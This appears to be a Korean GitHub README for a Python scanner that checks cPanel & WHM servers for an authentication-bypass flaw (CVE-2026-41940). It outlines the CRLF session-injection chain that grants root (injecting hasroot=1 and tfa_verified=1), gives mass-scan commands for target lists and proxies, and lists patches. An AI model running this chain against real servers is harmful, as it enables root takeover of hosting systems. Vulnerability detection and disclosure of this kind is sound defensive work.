
cPanel 및 WHM 인증 우회(CVE-2026-41940)를 위한 스캐너로, CRLF 주입과 세션 조작을 통해 취약한 버전을 탐지하며, 멀티스레딩 및 프록시 지원을 제공합니다.
| 항목 | 세부 사항 |
|---|
| CVE ID | CVE-2026-41940 |
| 취약점 이름 | cPanel & WHM 세션 파일 CRLF 주입 |
| 위험 등급 | 🔴 CRITICAL (CVSS 9.8) |
| 영향 버전 | cPanel & WHM < 11.110.0.97 / 11.118.0.63 / 11.126.0.54 / 11.132.0.29 / 11.134.0.20 / 11.136.0.5 |
| 취약점 유형 | 인증 우회 → Root 권한 획득 |
| 악용 난이도 | 낮음 |
cPanel & WHM은 세션 파일 처리 과정에서 논리적 결함이 존재합니다:
saveSession() 함수가 세션 파일을 작성한 후에 filter_sessiondata()를 호출합니다Authorization: Basic 헤더를 구성할 수 있습니다hasroot=1, tfa_verified=1 등의 필드를 주입합니다✅ 정밀 탐지 - 원본 취약점 악용 체인을 엄격히 재현
✅ 무종속성 - Python 표준 라이브러리만 사용
✅ 멀티스레드 - 대량 스캔 지원
✅ 프록시 지원 - Burp Suite/Owasp ZAP 호환
✅ 지능형 파싱 - 프로토콜 및 포트 자동 완성
✅ 하이라이트 출력 - 취약점 결과 빨간색으로 강조 표시
[1] POST /login/?login_only=1 → 사전 인증 세션 획득
[2] GET / + CRLF 주입 → 세션 파일 오염
[3] GET /scripts2/listaccts → 캐시 새로고침 트리거
[4] GET /cpsess/token/json-api/version → Root 권한 검증
wget https://github.com/iSee857/cPanel-WHM-CVE-2026-41940-AuthBypass/blob/main/cPanel-WHM-CVE-2026-41940-AuthBypass.py
chmod +x cPanel-WHM-CVE-2026-41940-AuthBypass.py
# https:// 자동 완성
python3 cPanel-WHM-CVE-2026-41940-AuthBypass.py -u 1.2.3.4:2087
# 전체 URL 지정
python3 cPanel-WHM-CVE-2026-41940-AuthBypass.py -u https://example.com:2087
# 파일에서 대상 읽기
python3 cPanel-WHM-CVE-2026-41940-AuthBypass.py -f targets.txt -t 20
# targets.txt 형식:
# 1.2.3.4:2087
# example.com:2087
# https://test.com:2087
# HTTP 프록시 사용
python3 cPanel-WHM-CVE-2026-41940-AuthBypass.py -u 1.2.3.4:2087 --proxy http://127.0.0.1:8080
# 프록시를 통한 대량 스캔
python3 cPanel-WHM-CVE-2026-41940-AuthBypass.py -f targets.txt --proxy http://127.0.0.1:8080 -t 5
| 매개변수 | 설명 | 예시 |
|---|---|---|
-u, --url | 단일 대상 | -u 1.2.3.4:2087 |
-f, --file | 대상 목록 파일 | -f targets.txt |
-t, --threads | 스레드 수 (기본 10) | -t 20 |
--timeout | 타임아웃 시간 (기본 10초) | --timeout 15 |
--proxy | HTTP/HTTPS 프록시 | --proxy http://127.0.0.1:8080 |
13:45:01 [SCAN] Testing 1.2.3.4:2087
13:45:02 [INFO] Got session: 9f3a2c1b8d...
13:45:02 [INFO] Got token: /cpsess1234567890
13:45:03 [VULN] CVE-2026-41940 CONFIRMED! 1.2.3.4:2087

13:46:01 [SCAN] Testing 5.6.7.8:2087
13:46:02 [ERR ] Failed to get session 5.6.7.8:2087
스크립트는 다음 로직을 통해 취약점을 확인합니다:
whostmgrsession 쿠키를 성공적으로 획득/cpsess{digit} 경로 포함/json-api/version 접근 시 200 반환 및 "version" 필드 포함⚠️ 참고: 일부 대상은 500/503 및 "License" 메시지를 반환할 수 있으며, 이는 여전히 인증 우회가 성공했음을 의미하지만 상업용 라이선스가 없을 뿐입니다.
다음 보안 버전으로 즉시 업그레이드하세요:
임시 완화 조치:
/var/cpanel/sessions/ 디렉토리의 비정상적인 변경 모니터링본 도구는 승인된 보안 테스트 및 방어 연구에만 사용해야 합니다. 승인되지 않은 스캔 행위는 불법이며, 그 결과에 대한 책임은 사용자 본인에게 있습니다.
Star ⭐ 이 프로젝트를 눌러 더 많은 보안 도구 업데이트를 받아보세요!